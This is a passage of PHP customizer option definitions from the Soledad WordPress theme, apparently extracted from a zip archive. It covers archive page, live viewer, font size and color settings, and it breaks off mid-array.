$options[] = array(
	'label'    => __( 'Post Meta Links Hover Color', 'soledad' ),
	'id'       => 'penci_arf_meta_hcl',
	'type'     => 'soledad-fw-color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color'
);
// End Category Featured
$options[] = array(
	'label'    => esc_html__( 'Other Settings', 'soledad' ),
	'id'       => 'penci_heading_other_archi',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Hide Category Description', 'soledad' ),
	'id'       => 'penci_archive_hide_desc',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show Select Posts Order on Archive Pages', 'soledad' ),
	'id'       => 'penci_general_show_post_order',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'label'    => __( 'Show Date Filter on Archive Pages', 'soledad' ),
	'id'       => 'penci_archive_show_date_filter',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Animation on Scroll', 'soledad' ),
	'id'       => 'penci_archive_enable_animation',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Enable Underline Color for Post Titles on Hover', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
	'id'       => 'penci_archive_hover_underline',
);
$options[] = array(
	'label'    => __( 'Show Category Number Count', 'soledad' ),
	'id'       => 'penci_archive_show_cat_count',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable Link on Excerpt Content.', 'soledad' ),
	'description' => __( 'Navigate to the post when clicking on the excerpt content.', 'soledad' ),
	'id'          => 'penci_archive_excerpt_link',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Load More Button for Categories, Tags, Search, Archive Pages', 'soledad' ),
	'id'       => 'penci_archive_nav_ajax',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Infinite Scroll for Categories, Tags, Search, Archive Pages', 'soledad' ),
	'id'       => 'penci_archive_nav_scroll',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Enable AJAX Numeric/Next-Prev Pagination', 'soledad' ),
	'description' => __( 'You can enable the numbered pagination feature through General > General Settings > Enable Page Navigation Numbers', 'soledad' ),
	'id'          => 'penci_archive_ajax_navigation',
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Number of Posts for Each Time Load More Posts', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'id'       => 'penci_arc_number_load_more',
	'default'  => '6',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_arc_number_load_more',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '6',
		),
	),
);
$options[] = array(
	'label'    => __( 'Move Description of Category, Tag, Archive Pages Below Post Listings', 'soledad' ),
	'id'       => 'penci_archive_move_desc',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Show Child Categories on Single Category Page', 'soledad' ),
	'id'       => 'penci_archive_show_sub',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Child Categories Columns', 'soledad' ),
	'id'       => 'penci_archive_show_sub_col',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'2'    => '2 Columns',
		'3'    => '3 Columns',
		'4'    => '4 Columns',
		'5'    => '5 Columns',
	),
	'default'  => '3',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Show Child Categories Description?', 'soledad' ),
	'id'       => 'penci_archive_show_sub_desc',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Disable Auto Collapse Description Content', 'soledad' ),
	'id'       => 'penci_archive_disable_desc_collapse',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Category, Tags, Archive Title Align', 'soledad' ),
	'id'       => 'penci_archive_titlealign',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'default' => 'Default',
		'left'    => 'Left',
		'right'   => 'Right',
		'center'  => 'Center',
	),
	'default'  => 'default',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Category, Tags, Archive Description Align', 'soledad' ),
	'id'       => 'penci_archive_descalign',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''       => 'Default',
		'left'   => 'Left',
		'right'  => 'Right',
		'center' => 'Center',
	),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Enable Sidebar On Archives', 'soledad' ),
	'id'       => 'penci_sidebar_archive',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Hide Sidebar On Mobile', 'soledad' ),
	'id'       => 'penci_sidebar_archive_mobile',
	'type'     => 'soledad-fw-toggle',
	'default'  => true,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Left Sidebar On Archives', 'soledad' ),
	'id'       => 'penci_left_sidebar_archive',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Enable Two Sidebars On Archives', 'soledad' ),
	'id'       => 'penci_two_sidebar_archive',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove "Category:" Words on Category Pages', 'soledad' ),
	'id'       => 'penci_remove_cat_words',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove "Tag:" Words on Tag Pages', 'soledad' ),
	'id'       => 'penci_remove_tag_words',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'       => __( 'Custom Sidebar Display on Category Pages', 'soledad' ),
	'id'          => 'penci_sidebar_name_category',
	'description' => __( 'If sidebar your choice is empty, will display Main Sidebar', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option(),
	'default'     => 'main-sidebar',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Custom Sidebar Left Display on Category Pages', 'soledad' ),
	'id'          => 'penci_sidebar_left_name_category',
	'description' => __( 'If the sidebar you choose is empty, the Main Sidebar Left will be displayed. This option is only used when you enable 2 sidebars for archive pages.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => get_list_custom_sidebar_option(),
	'default'     => 'main-sidebar-left',
	'sanitize'    => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'       => __( 'Google Adsense/Custom HTML Code to Display Above Posts Layout for Archive Pages', 'soledad' ),
	'id'          => 'penci_archive_ad_above',
	'description' => __( 'You can display Google AdSense or custom HTML code above posts on category, tag, search, and archive pages by using this option.', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'       => __( 'Google Adsense/Custom HTML Code to Display Below Posts Layout for Archive Pages', 'soledad' ),
	'id'          => 'penci_archive_ad_below',
	'description' => __( 'You can display Google AdSense or custom HTML code below posts on category, tag, search, and archive pages by using this option', 'soledad' ),
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => esc_html__( 'In-Feed Ads', 'soledad' ),
	'id'       => 'penci_heading_infeed_ads_archi',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Insert In-feed Ads Code After Every How Many Posts?', 'soledad' ),
	'id'       => 'penci_infeedads_archi_num',
	'type'     => 'soledad-fw-size',
	'default'  => '3',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_infeedads_archi_num',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '3',
		),
	),
);
$options[] = array(
	'label'       => __( 'In-feed Ads Code/HTML', 'soledad' ),
	'description' => __( 'Please use normal responsive ads here to get the best results. In-feed ads cannot work with auto-ads because auto-ads will randomly place your ads in random places on the pages.', 'soledad' ),
	'id'          => 'penci_infeedads_archi_code',
	'type'        => 'soledad-fw-textarea',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field'
);
$options[] = array(
	'label'    => __( 'In-feed Ads Layout Type', 'soledad' ),
	'id'       => 'penci_infeedads_archi_layout',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		''     => __( 'Follow Current Layout', 'soledad' ),
		'full' => __( 'Full Width', 'soledad' ),
	),
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field'
);

return $options;
PK     N\=v
  
  B  inc/customizer/config/sections/pencidesign_general_lvn_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'General', 'soledad' ),
	'id'       => 'penci_live_viewer_heading_01',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'       => 'penci_live_viewer_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Live Viewer Notifications', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_live_viewer_singular_text',
	'default'  => '1 viewer reading this {object}',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Text: 1 Viewer', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_live_viewer_plural_text',
	'default'  => '{view} viewers are reading this {object}',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Text: {view} Viewers', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'id'       => 'penci_live_viewer_position',
	'default'  => 'bottom-left',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Position', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'bottom-left'  => __( 'Bottom Left', 'soledad' ),
		'bottom-right' => __( 'Bottom Right', 'soledad' ),
		'top-right'    => __( 'Top Right', 'soledad' ),
		'top-left'     => __( 'Top Left', 'soledad' ),
	]
);
$options[] = array(
	'label'    => __( 'Post Type Manager', 'soledad' ),
	'id'       => 'penci_live_viewer_heading_02',
	'type'     => 'soledad-fw-header',
);
$post_type_exclude    = array(
	'attachment',
	'revision',
	'nav_menu_item',
	'safecss',
	'penci-block',
	'penci_builder',
	'custom-post-template',
	'archive-template',
);
$posts_types = get_post_types( [ 'show_in_nav_menus' => true ], 'objects' );

foreach ( $posts_types as $type ) {

	if ( in_array( $type->name, $post_type_exclude ) ) {

		continue;
	}

	$options[] = array(
		'id'       => 'penci_live_viewer_disable_' . $type->name,
		'default'  => false,
		'sanitize' => 'penci_sanitize_checkbox_field',
		'label'    => __( 'Hidden on', 'soledad' ) .  ' ' . $type->label,
		'type'     => 'soledad-fw-toggle',
	);
}

$options[] = array(
	'label'    => __( 'Styles', 'soledad' ),
	'id'       => 'penci_live_viewer_heading_style',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'    => __( 'Popup Color', 'soledad' ),
	'id'       => 'penci_live_viewer_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Popup Background Color', 'soledad' ),
	'id'       => 'penci_live_viewer_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
return $options;PK     N\?&O'  '  J  inc/customizer/config/sections/penci_section_homepage_fontsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Featured Boxes', 'soledad' ),
	'id'       => 'penci_section_featured_boxes_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Text on Featured Boxes', 'soledad' ),
	'id'       => 'penci_home_box_text_size',
	'ids'      => array(
		'desktop' => 'penci_home_box_text_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Popular Posts', 'soledad' ),
	'id'       => 'penci_section_popular_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for "Popular Posts" heading', 'soledad' ),
	'id'       => 'penci_home_polular_fsectitle',
	'ids'      => array(
		'desktop' => 'penci_home_polular_fsectitle',
		'mobile'  => 'penci_home_polular_mfsectitle',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'id'       => 'penci_home_polular_mfsectitle',
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-hidden',
	'label'    => __( 'Font Size for "Popular Posts" heading', 'soledad' ),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Titles on Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_post_font_size',
	'ids'      => array(
		'desktop' => 'penci_home_popular_post_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Date on Popular Posts', 'soledad' ),
	'id'       => 'penci_home_popular_post_fdate',
	'ids'      => array(
		'desktop' => 'penci_home_popular_post_fdate',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Home Title Box', 'soledad' ),
	'id'       => 'penci_section_home_titlebox_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Home Title Box', 'soledad' ),
	'id'       => 'penci_featured_cat_size',
	'ids'      => array(
		'desktop' => 'penci_featured_cat_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Featured Categories', 'soledad' ),
	'id'       => 'penci_section_featured_cat_cheading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Categories on Style 8', 'soledad' ),
	'id'       => 'penci_featuredcat_cat_size',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_cat_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => '13',
	'sanitize'    => 'absint',
	'type'        => 'soledad-fw-size',
	'label'       => __( 'Font Size for Post Meta', 'soledad' ),
	'description' => __( 'Include author name, date, comment count', 'soledad' ),
	'id'          => 'penci_featuredcat_meta_size',
	'ids'         => array(
		'desktop' => 'penci_featuredcat_meta_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Excerpt', 'soledad' ),
	'id'       => 'penci_featuredcat_excerpt_size',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_excerpt_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat_title_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'General Font Size for Post Titles', 'soledad' ),
	'id'       => 'penci_featuredcat_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_title_size',
		'mobile'  => 'penci_featuredcat_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat_smtitle_size',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Small Posts', 'soledad' ),
	'id'       => 'penci_featuredcat_smtitle_size_mobile',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_smtitle_size_mobile',
		'mobile'  => 'penci_featuredcat_smtitle_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat4_title_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Style 4', 'soledad' ),
	'id'       => 'penci_featuredcat4_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat4_title_size',
		'mobile'  => 'penci_featuredcat4_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat12_title_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Style 12 & 13', 'soledad' ),
	'id'       => 'penci_featuredcat12_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat12_title_size',
		'mobile'  => 'penci_featuredcat12_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat14_ftitle_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on First Post on Style 14', 'soledad' ),
	'id'       => 'penci_featuredcat14_ftitle_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat14_ftitle_size',
		'mobile'  => 'penci_featuredcat14_ftitle_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description'=>'',
	'id'          => 'penci_featuredcat14_title_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Post Titles on Other Posts on Style 14', 'soledad' ),
	'id'       => 'penci_featuredcat14_title_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_featuredcat14_title_size',
		'mobile'  => 'penci_featuredcat14_title_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for "View All" Button', 'soledad' ),
	'id'       => 'penci_featuredcat_viewall_size',
	'ids'      => array(
		'desktop' => 'penci_featuredcat_viewall_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 300,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     N\q"  "  E  inc/customizer/config/sections/pencidesign_general_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'General Text Color', 'soledad' ),
	'id'       => 'penci_general_text_color',
	'default'  => '',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);
$options[] = array(
	'label'       => __( 'Theme Color', 'soledad' ),
	'description' => __( 'For instance, the browser might use the specified color for the address bar, title bar, or status bar on mobile devices. Check <a target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta/name/theme-color/theme-color.png">this image</a>.', 'soledad' ),
	'id'          => 'penci_theme_color',
	'default'     => '',
	'type'        => 'soledad-fw-color',
	'sanitize'    => 'sanitize_hex_color'
);
$options[] = array(
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_color_accent',
	'default'  => '#6eb48c',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Custom Background Color for Body', 'soledad' ),
	'id'       => 'penci_bg_color_dark',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Custom General Borders Color', 'soledad' ),
	'id'       => 'penci_border_color_dark',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Dark Theme', 'soledad' ),
	'id'       => 'penci_darktheme_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'       => __( 'Enable Dark Theme', 'soledad' ),
	'id'          => 'penci_enable_dark_layout',
	'description' => __( 'All options below only apply when you enable dark theme. And all other elements, please change it via other colors options for those elements.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Text Color for Dark Theme', 'soledad' ),
	'id'       => 'penci_text_color_dark',
	'default'  => '#afafaf',
	'type'     => 'soledad-fw-color',
	'sanitize' => 'sanitize_hex_color'
);

$options[] = array(
	'label'    => __( 'Posts Meta Color for Dark Theme', 'soledad' ),
	'id'       => 'penci_meta_color_dark',
	'default'  => '#949494',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'General Buttons', 'soledad' ),
	'id'       => 'penci_button_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Buttons Background Color', 'soledad' ),
	'id'       => 'penci_buttons_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Buttons Text Color', 'soledad' ),
	'id'       => 'penci_buttons_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Buttons Hover Background Color', 'soledad' ),
	'id'       => 'penci_buttons_bghover',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Buttons Hover Text Color', 'soledad' ),
	'id'       => 'penci_buttons_colorhver',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Breadcrumbs', 'soledad' ),
	'id'       => 'penci_breadcrumbs_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Breadcrumbs Text Color', 'soledad' ),
	'id'       => 'penci_breadcrumbs_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Breadcrumbs Text Hover Color', 'soledad' ),
	'id'       => 'penci_breadcrumbs_hcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Archive Page Titles', 'soledad' ),
	'id'       => 'penci_archiveptitle_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Archive Page Titles Prefix Color', 'soledad' ),
	'id'       => 'penci_archivetitle_prefix_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Archive Page Titles Color', 'soledad' ),
	'id'       => 'penci_archivetitle_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);


$options[] = array(
	'label'    => esc_html__( 'Text Selection Color', 'soledad' ),
	'id'       => 'penci_selectorcl_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Selector Background Color', 'soledad' ),
	'id'       => 'penci_textselector_bgcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Selector Text Color', 'soledad' ),
	'id'       => 'penci_textselector_txtcolor',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'       => esc_html__( 'Filled Categories Styles', 'soledad' ),
	'description' => __( 'The options below apply for categories listing filled styles you selected via General > General Settings > Style for Post Categories Listing', 'soledad' ),
	'id'          => 'penci_catfil_bheading',
	'type'        => 'soledad-fw-header',
	'sanitize'    => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Text Color', 'soledad' ),
	'id'       => 'penci_cfiled_cl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Background Color', 'soledad' ),
	'id'       => 'penci_cfiled_bgcl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Text Hover Color', 'soledad' ),
	'id'       => 'penci_cfiled_hcl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'Background Hover Color', 'soledad' ),
	'id'       => 'penci_cfiled_hbgcl',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);

$options[] = array(
	'label'    => esc_html__( 'Pagination/Load More Post Button', 'soledad' ),
	'id'       => 'penci_pagination_bheading',
	'type'     => 'soledad-fw-header',
	'sanitize' => 'sanitize_text_field'
);
$options[] = array(
	'label'    => __( 'Text Color for Pagination', 'soledad' ),
